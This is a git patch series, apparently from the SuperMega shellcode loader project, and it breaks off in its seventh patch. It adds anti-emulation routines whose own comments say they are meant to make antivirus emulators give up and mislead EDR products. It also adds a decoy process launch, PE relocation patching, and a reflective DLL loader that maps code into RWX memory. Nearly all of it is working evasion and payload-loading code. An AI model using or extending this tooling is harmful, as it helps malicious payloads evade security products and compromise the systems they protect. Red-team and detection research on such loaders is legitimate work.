From df9937df96476fd9100a2cddc3f77f5ed28e99ad Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 10 Jun 2024 08:02:05 +0200 Subject: [PATCH 01/37] feature: antiemulation in templates --- data/source/carrier/alloc_rw_rwx/template.c | 6 ++++++ data/source/carrier/alloc_rw_rx/template.c | 6 ++++++ data/source/carrier/antiemulation/none.c | 4 ++++ data/source/carrier/antiemulation/timeraw.c | 20 ++++++++++++++++++++ model/defs.py | 2 ++ phases/templater.py | 7 +++++++ 6 files changed, 45 insertions(+) create mode 100644 data/source/carrier/antiemulation/none.c create mode 100644 data/source/carrier/antiemulation/timeraw.c diff --git a/data/source/carrier/alloc_rw_rwx/template.c b/data/source/carrier/alloc_rw_rwx/template.c index 7ee8d8c..e51b144 100644 --- a/data/source/carrier/alloc_rw_rwx/template.c +++ b/data/source/carrier/alloc_rw_rwx/template.c @@ -15,6 +15,9 @@ char *supermega_payload; * will set it to RWX (safe to run shellcodes, opsec-unsafe) */ +{{plugin_antiemulation}} + + int main() { // Execution Guardrail: Env Check @@ -29,6 +32,9 @@ int main() return 6; } + // Depends on plugin_antiemulation + antiemulation(); + // Decoy //WinExec("C:\\windows\\system32\\notepad.exe", 1); diff --git a/data/source/carrier/alloc_rw_rx/template.c b/data/source/carrier/alloc_rw_rx/template.c index 896f6f8..8a6c2bd 100644 --- a/data/source/carrier/alloc_rw_rx/template.c +++ b/data/source/carrier/alloc_rw_rx/template.c @@ -8,6 +8,9 @@ char *supermega_payload; #define p_RX 0x20 #define p_RWX 0x40 + +{{plugin_antiemulation}} + /* iat_reuse_rx Standard IAT reuse shellcode @@ -29,6 +32,9 @@ int main() return 6; } + // Depends on plugin_antiemulation + antiemulation(); + // Decoy //WinExec("C:\\windows\\system32\\notepad.exe", 1); diff --git a/data/source/carrier/antiemulation/none.c b/data/source/carrier/antiemulation/none.c new file mode 100644 index 0000000..42e9393 --- /dev/null +++ b/data/source/carrier/antiemulation/none.c @@ -0,0 +1,4 @@ + +void antiemulation() { + // None +} \ No newline at end of file diff --git a/data/source/carrier/antiemulation/timeraw.c b/data/source/carrier/antiemulation/timeraw.c new file mode 100644 index 0000000..25cb454 --- /dev/null +++ b/data/source/carrier/antiemulation/timeraw.c @@ -0,0 +1,20 @@ + +int get_time_raw() { + ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004; + LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324; + ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320; + DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) + + ((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24); + return kernelTime; +} + + +int sleep_ms(DWORD sleeptime) { + DWORD start = get_time_raw(); + while (get_time_raw() - start < sleeptime) {} +} + + +void antiemulation() { + sleep_ms(3000); +} \ No newline at end of file diff --git a/model/defs.py b/model/defs.py index 1febb48..04f1a4c 100644 --- a/model/defs.py +++ b/model/defs.py @@ -13,7 +13,9 @@ PATH_EXES_MORE = "data/binary/exes_more/" PATH_SHELLCODES = "data/binary/shellcodes/" PATH_CARRIER = "data/source/carrier/" PATH_PAYLOAD = "data/source/payload/" + PATH_DECODER = "data/source/carrier/decoder/" +PATH_ANTIEMULATION = "data/source/carrier/antiemulation/" PATH_WEB_PROJECT = "projects/" diff --git a/phases/templater.py b/phases/templater.py index 067877d..12414f6 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -37,15 +37,22 @@ def create_c_from_template(settings: Settings, payload_len: int): 'XOR_KEY2': ascii_to_hex_bytes(config.xor_key2), }) + # Anti-Emulation + filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format("timeraw") + with open(filepath_antiemulation, "r", encoding='utf-8') as file: + plugin_antiemualation = file.read() + # Choose correct template dirpath = PATH_CARRIER + settings.carrier_name + "/template.c" with open(dirpath, 'r', encoding='utf-8') as file: template_content = file.read() observer.add_text_file("main_c_template", template_content) + # Render main template template = Template(template_content) rendered_template = template.render({ 'plugin_decoder': plugin_decoder, + 'plugin_antiemulation': plugin_antiemualation, 'PAYLOAD_LEN': payload_len, }) with open(settings.main_c_path, "w", encoding='utf-8') as file: From a71daada713aef58abaddef4efe3d8d73e5a0a6d Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 10 Jun 2024 08:06:06 +0200 Subject: [PATCH 02/37] refactor: move reloc stuff into relocator for now --- pe/superpe.py | 66 ------------- relokator.py | 265 +++++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 260 insertions(+), 71 deletions(-) diff --git a/pe/superpe.py b/pe/superpe.py index 5c11757..283fdc0 100644 --- a/pe/superpe.py +++ b/pe/superpe.py @@ -164,72 +164,6 @@ class SuperPe(): return base_relocs - def getSectionIndexByDataDir(self, dirIndex): - addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress - - i = 0 - for sect in self.pe.sections: - if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize): - return i - i += 1 - - logger.error(f'Could not find section with directory index {dirIndex}!') - return -1 - - - def getRemainingRelocsDirectorySize(self): - relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC) - out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize - return out - - - def addImageBaseRelocations(self, pageRva, relocs): - assert pageRva > 0 - - if not self.pe.has_relocs(): - logger.error("No .reloc section") - raise(Exception("No .reloc section")) - - if self.is_64(): - imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64 - else: - # Not really used - imageBaseRelocType = SuperPe.IMAGE_REL_BASED_HIGHLOW - - relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size - relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC) - addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress - sizeOfReloc = 2 * len(relocs) + 2 * 4 - - if sizeOfReloc >= self.getRemainingRelocsDirectorySize(): - self.logger.warning('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.') - self.logger.warning(' Will try disabling relocations on output file. Expect corrupted executable though!') - - self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0 - self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0 - return - - relocDirRva = self.pe.sections[relocsIndex].VirtualAddress - self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc - - # VirtualAddress - self.pe.set_dword_at_rva(addr + relocsSize, pageRva) - - # SizeOfBlock - self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc) - - logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:X} - size of block: 0x{sizeOfReloc:X}') - i = 0 - for reloc in relocs: - reloc_offset = (reloc - pageRva) - reloc_type = imageBaseRelocType << 12 - - relocWord = (reloc_type | reloc_offset) - self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord) - logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X} - type: {imageBaseRelocType}') - i += 1 - - def getExportEntryPoint(self, exportName: str): dec = lambda x: '???' if x is None else x.decode() d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]] diff --git a/relokator.py b/relokator.py index 113fc19..8ced069 100644 --- a/relokator.py +++ b/relokator.py @@ -1,10 +1,113 @@ import sys +import logging from model.defs import * from pe.superpe import SuperPe +from log import setup_logging + +logger = logging.getLogger("Relokator") + + +class Relokator(): + + + def getSectionIndexByDataDir(self, dirIndex): + addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress + + i = 0 + for sect in self.pe.sections: + if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize): + return i + i += 1 + + logger.error(f'Could not find section with directory index {dirIndex}!') + return -1 + + + def getRemainingRelocsDirectorySize(self): + relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC) + out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize + return out + + + def addImageBaseRelocations(self, pageRva, relocs): + assert pageRva > 0 + + if not self.pe.has_relocs(): + logger.error("No .reloc section") + raise(Exception("No .reloc section")) + + if self.is_64(): + imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64 + else: + # Not really used + imageBaseRelocType = SuperPe.IMAGE_REL_BASED_HIGHLOW + + relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size + relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC) + addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + sizeOfReloc = 2 * len(relocs) + 2 * 4 + + if sizeOfReloc >= self.getRemainingRelocsDirectorySize(): + self.logger.warning('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.') + self.logger.warning(' Will try disabling relocations on output file. Expect corrupted executable though!') + + self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0 + self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0 + return + + relocDirRva = self.pe.sections[relocsIndex].VirtualAddress + self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc + + # VirtualAddress + self.pe.set_dword_at_rva(addr + relocsSize, pageRva) + + # SizeOfBlock + self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc) + + logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:X} - size of block: 0x{sizeOfReloc:X}') + i = 0 + for reloc in relocs: + #reloc_offset = (reloc - pageRva) + reloc_offset = reloc + reloc_type = imageBaseRelocType << 12 + relocWord = (reloc_type | reloc_offset) + + #if reloc == 0: + # reloc_type = 0 + # relocWord = 0 + # reloc_offset = 0 + logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X} - type: {imageBaseRelocType}') + self.pe.set_qword_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord) + #self.pe.set_qword_at_rva(relocDirRva + relocsSize + 8 + i * 2, reloc) + i += 1 + + + def overwriteImageBaseRelocations(self, pageRva, relocs): + assert pageRva > 0 + imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64 + + addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + print("Set at: 0x{:X} / 0x{:X}: 0x{:X}".format( + addr, + self.pe.get_offset_from_rva(addr), + pageRva)) + self.pe.set_dword_at_rva(addr, pageRva) + self.pe.set_bytes_at_offset( + self.pe.get_offset_from_rva(addr + 4), + b'\x00' * 4 + ) + + + def mywrite(self, filename): + file_data = bytearray(self.pe.__data__) + f = open(filename, "wb+") + f.write(file_data) + f.close() def main(filename: str, current_base: int): + setup_logging(logging.DEBUG) print("Handling: {}".format(filename)) superpe = SuperPe(filename) @@ -23,14 +126,166 @@ def main(filename: str, current_base: int): # relocation.type, #)) - sum = 0 - for base, count in r.items(): - print("0x{:X}: {}".format(base, count)) - sum += count - print("Sum: {}".format(sum)) + #sum = 0 + #for base, count in r.items(): + # print("0x{:X}: {}".format(base, count)) + # sum += count + #print("Sum: {}".format(sum)) print("Image Base : 0x{:X}".format(superpe.get_image_base())) print("Current Base: 0x{:X}".format(current_base)) + diff = current_base - superpe.get_image_base() + print("Diff : 0x{:X}".format(diff)) + + code_section = superpe.get_code_section() + print("Text section start: 0x{:X} size: {}".format( + code_section.VirtualAddress, + code_section.SizeOfRawData + )) + + if False: + text_start = code_section.VirtualAddress + text_end = text_start + 4096 # 10000 # code_section.SizeOfRawData + + # entry point rva: E'1D78 + # page: E'1000 + # jumps to: 00000001400E'21B0 + + + # Relocs show + interval = 32 + page_vaddr = text_start + relocs = [] + + mypage = 0xE2000 + page_vaddr = mypage + text_end = page_vaddr + 0x1000 + while page_vaddr < text_end: + print("Relocations for page: 0x{:X}".format( + page_vaddr + )) + + i = 1 + while i < 4096: + # data is 8 bytes (quad word) + data = superpe.pe.get_qword_at_rva(page_vaddr + i) + patch_data = data - diff + if patch_data > 0: + print(" Relocation: 0x{:X} 0x{:X} \tData: 0x{:X} \tPatched: 0x{:X}".format( + i+page_vaddr, + i, + data, + patch_data + )) + relocs.append(i) + + i += int(4096 / interval) + page_vaddr += 4096 + else: + mypage = 0x1000 #0x14B000 + relocs = [ + 0x8, + 0x16, + #0, + ] + + if False: + superpe.addImageBaseRelocations(mypage, relocs) + superpe.write_pe_to_file("tmp/myproc.exe") + #superpe.overwriteImageBaseRelocations(mypage, relocs) + else: + #superpe.overwriteImageBaseRelocations(mypage, relocs) + relocs = [] + entries_count = 0x8C + step = int(4096/entries_count) + + page_vaddr = mypage + text_end = page_vaddr + 0x1000 + while page_vaddr < text_end: + print("Relocations for page: 0x{:X}".format( + page_vaddr + )) + + i = 16 + while i < 4096: + # data is 8 bytes (quad word) + data = superpe.pe.get_qword_at_rva(page_vaddr + i) + patch_data = data - diff + if patch_data > 0: + print(" Relocation: 0x{:X} 0x{:X} \tData: 0x{:X} \tPatched: 0x{:X}".format( + i+page_vaddr, + i, + data, + patch_data + )) + relocs.append(i) + superpe.pe.set_qword_at_rva(page_vaddr+i, patch_data) + else: + print(" SKIP Relocation: 0x{:X} 0x{:X} \tData: 0x{:X} \tPatched: 0x{:X}".format( + i+page_vaddr, + i, + data, + patch_data + )) + i += step + + if len(relocs) >= entries_count: + break + page_vaddr += 4096 + + print("Added relocs: 0x{:X}".format(len(relocs))) + + relocsSize = superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[ + SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size + relocsIndex = superpe.getSectionIndexByDataDir( + SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC) + addr = superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[ + SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + + print("-> Relocs size: 0x{:X} Index: {} Addr: 0x{:X} = 0x{:X}".format( + relocsSize, relocsIndex, addr, superpe.pe.get_offset_from_rva(addr) + )) + superpe.pe.set_dword_at_rva(addr, mypage) + + addr_entries = addr + 8 + i = 0 + for reloc in relocs: + #reloc_offset = (reloc - pageRva) + reloc_offset = reloc + reloc_type = SuperPe.IMAGE_REL_BASED_DIR64 << 12 + relocWord = (reloc_type | reloc_offset) + + #if reloc == 0: + # reloc_type = 0 + # relocWord = 0 + # reloc_offset = 0 + logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X}') + superpe.pe.set_word_at_rva(addr_entries + i * 2, relocWord) + #self.pe.set_qword_at_rva(relocDirRva + relocsSize + 8 + i * 2, reloc) + i += 1 + + #superpe.pe.set_qword_at_rva(addr, 0x0011223344556677) + #superpe.pe.set_qword_at_rva(0x11D00, 0x0011223344556677) + #superpe.pe.set_dword_at_offset(0x11B600, 0x00112233) + #superpe.pe.set_qword_at_rva(0x1000, 0x0011223344556677) # works! + + if False: + # print + relocation: PeRelocEntry + n = 0 + for base_reloc in superpe.pe.DIRECTORY_ENTRY_BASERELOC: + for entry in base_reloc.entries: + if n > 5: + break + + print("Base: 0x{:X} RVA: 0x{:X}".format( + entry.base_rva, + entry.rva, + )) + + n += 1 + + superpe.mywrite("tmp/myproc.exe") if __name__ == "__main__": From 85585e598e242c601c10857f6675931d3af2661a Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 10 Jun 2024 09:02:37 +0200 Subject: [PATCH 03/37] refactor: prepare antiemulation more modular --- .../carrier/antiemulation/sirallocalot.c | 47 +++++++++++++++++++ data/source/carrier/antiemulation/timeraw.c | 10 ++++ model/settings.py | 1 + phases/templater.py | 6 ++- 4 files changed, 62 insertions(+), 2 deletions(-) create mode 100644 data/source/carrier/antiemulation/sirallocalot.c diff --git a/data/source/carrier/antiemulation/sirallocalot.c b/data/source/carrier/antiemulation/sirallocalot.c new file mode 100644 index 0000000..766bcee --- /dev/null +++ b/data/source/carrier/antiemulation/sirallocalot.c @@ -0,0 +1,47 @@ + +#define ALLOC_NUM 256 + + +/* This will allocate ALLOC_NUM RW memory regions, + set them to RX, and free them + + The idea is that the AV emulator will probably give up, either because + of used memory is above maximum, or amount of instructions, or + number of API calls, or time. + + It hopefully also makes the EDR think this program is doing some + kind of interpreter or JIT compilation, and not a malicious payload. +*/ + +void antiemulation() { + void* allocs[ALLOC_NUM]; + DWORD result; + + for(int n=0; n Date: Mon, 10 Jun 2024 10:06:24 +0200 Subject: [PATCH 04/37] refactor: make decoy a plugin too --- data/source/carrier/alloc_rw_rwx/template.c | 2 ++ data/source/carrier/alloc_rw_rx/template.c | 2 +- data/source/carrier/decoy/none.c | 0 data/source/carrier/decoy/winexec.c | 1 + model/defs.py | 1 + model/settings.py | 4 +++- phases/templater.py | 16 +++++++++++----- supermega.py | 5 +++++ 8 files changed, 24 insertions(+), 7 deletions(-) create mode 100644 data/source/carrier/decoy/none.c create mode 100644 data/source/carrier/decoy/winexec.c diff --git a/data/source/carrier/alloc_rw_rwx/template.c b/data/source/carrier/alloc_rw_rwx/template.c index e51b144..76cadac 100644 --- a/data/source/carrier/alloc_rw_rwx/template.c +++ b/data/source/carrier/alloc_rw_rwx/template.c @@ -36,6 +36,8 @@ int main() antiemulation(); // Decoy + {{plugin_decoy}} + //WinExec("C:\\windows\\system32\\notepad.exe", 1); // Allocate 1 diff --git a/data/source/carrier/alloc_rw_rx/template.c b/data/source/carrier/alloc_rw_rx/template.c index 8a6c2bd..5b95a5b 100644 --- a/data/source/carrier/alloc_rw_rx/template.c +++ b/data/source/carrier/alloc_rw_rx/template.c @@ -36,7 +36,7 @@ int main() antiemulation(); // Decoy - //WinExec("C:\\windows\\system32\\notepad.exe", 1); + {{plugin_decoy}} // Allocate 1 // char *dest = ... diff --git a/data/source/carrier/decoy/none.c b/data/source/carrier/decoy/none.c new file mode 100644 index 0000000..e69de29 diff --git a/data/source/carrier/decoy/winexec.c b/data/source/carrier/decoy/winexec.c new file mode 100644 index 0000000..2519f91 --- /dev/null +++ b/data/source/carrier/decoy/winexec.c @@ -0,0 +1 @@ +WinExec("C:\\windows\\system32\\notepad.exe", 1); \ No newline at end of file diff --git a/model/defs.py b/model/defs.py index c17e06c..386fc4e 100644 --- a/model/defs.py +++ b/model/defs.py @@ -16,6 +16,7 @@ PATH_PAYLOAD = "data/source/payload/" PATH_DECODER = "data/source/carrier/decoder/" PATH_ANTIEMULATION = "data/source/carrier/antiemulation/" +PATH_DECOY = "data/source/carrier/decoy/" PATH_WEB_PROJECT = "projects/" diff --git a/model/settings.py b/model/settings.py index 4bc4c99..201e3d4 100644 --- a/model/settings.py +++ b/model/settings.py @@ -13,7 +13,9 @@ class Settings(): self.carrier_name: str = "" self.decoder_style: DecoderStyle = DecoderStyle.XOR_1 self.short_call_patching: bool = False - self.antiemulation = "timeraw" + + self.plugin_antiemulation = "timeraw" + self.plugin_decoy = "none" self.dllfunc: str = "" # For DLL injection diff --git a/phases/templater.py b/phases/templater.py index 9596fb4..e23cb03 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -38,23 +38,29 @@ def create_c_from_template(settings: Settings, payload_len: int): 'XOR_KEY2': ascii_to_hex_bytes(config.xor_key2), }) - # Anti-Emulation + # Plugin: Anti-Emulation filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format( - settings.antiemulation) + settings.plugin_antiemulation) with open(filepath_antiemulation, "r", encoding='utf-8') as file: plugin_antiemualation = file.read() - # Choose correct template + # Plugin: Decoy + filepath_decoy = PATH_DECOY + "{}.c".format( + settings.plugin_decoy) + with open(filepath_decoy, "r", encoding='utf-8') as file: + plugin_decoy = file.read() + + # Choose template dirpath = PATH_CARRIER + settings.carrier_name + "/template.c" with open(dirpath, 'r', encoding='utf-8') as file: template_content = file.read() observer.add_text_file("main_c_template", template_content) - - # Render main template + # Render template template = Template(template_content) rendered_template = template.render({ 'plugin_decoder': plugin_decoder, 'plugin_antiemulation': plugin_antiemualation, + 'plugin_decoy': plugin_decoy, 'PAYLOAD_LEN': payload_len, }) with open(settings.main_c_path, "w", encoding='utf-8') as file: diff --git a/supermega.py b/supermega.py index a122c6d..84105e1 100644 --- a/supermega.py +++ b/supermega.py @@ -146,6 +146,11 @@ def start_real(settings: Settings): project.settings.decoder_style.value, project.settings.carrier_invoke_style.value)) + logger.info("---[ Plugins: AntiEmulation={} Decoy={}".format( + project.settings.plugin_antiemulation, + project.settings.plugin_decoy) + ) + # CREATE: Carrier C source files from template (C->C) phases.templater.create_c_from_template(settings, project.payload.len) From 83567b8aa59d0a88deacc099282196ba20730b7d Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Wed, 12 Jun 2024 13:19:20 +0200 Subject: [PATCH 05/37] fix: more allocations --- .../carrier/antiemulation/sirallocalot.c | 53 +++++++++++-------- 1 file changed, 30 insertions(+), 23 deletions(-) diff --git a/data/source/carrier/antiemulation/sirallocalot.c b/data/source/carrier/antiemulation/sirallocalot.c index 766bcee..dbd9449 100644 --- a/data/source/carrier/antiemulation/sirallocalot.c +++ b/data/source/carrier/antiemulation/sirallocalot.c @@ -17,31 +17,38 @@ void antiemulation() { void* allocs[ALLOC_NUM]; DWORD result; - for(int n=0; n Date: Thu, 13 Jun 2024 08:50:31 +0200 Subject: [PATCH 06/37] fix: make masm_shc errors exceptions --- phases/masmshc.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/phases/masmshc.py b/phases/masmshc.py index 35a393b..6c9aeed 100644 --- a/phases/masmshc.py +++ b/phases/masmshc.py @@ -100,7 +100,7 @@ def masm_shc(asm_text_lines: List[str]) -> str: g_is32bit = True if tokens[0] == "EXTRN": - print(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}") + raise Exception(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}") in_skipped = False in_const = False @@ -127,7 +127,7 @@ def masm_shc(asm_text_lines: List[str]) -> str: logger.debug("[INFO] Entry Point: AlignRSP") if seg_name == "_BSS": - logger.error(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n") + raise Exception(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n") if seg_name in ("pdata", "xdata", "voltbl"): in_skipped = True @@ -145,7 +145,7 @@ def masm_shc(asm_text_lines: List[str]) -> str: if tokens[1] in ("LIBCMT", "OLDNAMES"): ofile.write(f"; {line}\n") # copy commented out line continue - print(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n") + raise Exception(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n") if params.inline_strings and in_const: if tokens[1] == "DB": From 6cda682ef82c85bd1364df496ed6e74c328e1741 Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Thu, 13 Jun 2024 09:01:47 +0200 Subject: [PATCH 07/37] feature: initial DLL loader plugin --- data/source/carrier/dll_loader/template.c | 166 ++++++++++++++++++++++ 1 file changed, 166 insertions(+) create mode 100644 data/source/carrier/dll_loader/template.c diff --git a/data/source/carrier/dll_loader/template.c b/data/source/carrier/dll_loader/template.c new file mode 100644 index 0000000..00b27b4 --- /dev/null +++ b/data/source/carrier/dll_loader/template.c @@ -0,0 +1,166 @@ +#include +#include + + +char *supermega_payload; + +#define p_RW 0x04 +#define p_RX 0x20 +#define p_RWX 0x40 + +/* DLL loader + + This code will load a DLL into memory, resolve its imports, apply relocations, and execute it. + + Loader is based on: + https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection + with some patches to make it work here +*/ + + +typedef struct BASE_RELOCATION_BLOCK { + DWORD PageAddress; + DWORD BlockSize; +} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; + +typedef struct BASE_RELOCATION_ENTRY { + USHORT Offset : 12; + USHORT Type : 4; +} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; + +typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID); + + +void mymemcpy(void* dest, const void* src, size_t n) { + char* d = (char*)dest; + const char* s = (const char*)src; + for (size_t i = 0; i < n; ++i) { + d[i] = s[i]; + } +} + + +DWORD_PTR load_shellcode(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { + // get this module's image base address + PVOID imageBase = GetModuleHandleA(NULL); + + // get pointers to in-memory DLL headers + PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew); + SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; + + // allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere + //LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // get delta between this module's image base and the DLL that was read into memory + DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; + + // copy over DLL image headers to the newly allocated space for the DLL + mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders); + + // copy over DLL image sections to the newly allocated space for the DLL + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); + LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); + mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData); + section++; + } + + // perform image base relocations + IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; + DWORD relocationsProcessed = 0; + + while (relocationsProcessed < relocations.Size) + { + PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); + relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); + DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); + PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); + + for (DWORD i = 0; i < relocationsCount; i++) + { + relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); + + if (relocationEntries[i].Type == 0) + { + continue; + } + + DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; + DWORD_PTR addressToPatch = 0; + ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); + addressToPatch += deltaImageBase; + mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); + } + } + + // resolve import address table + PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; + IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); + LPCSTR libraryName; + HMODULE library = NULL; + + while (importDescriptor->Name != NULL) + { + libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; + library = LoadLibraryA(libraryName); + + if (library) + { + PIMAGE_THUNK_DATA thunk = NULL; + thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk); + + while (thunk->u1.AddressOfData != NULL) + { + if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) + { + LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); + thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); + } + else + { + PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData); + DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); + thunk->u1.Function = functionAddress; + } + ++thunk; + } + } + + 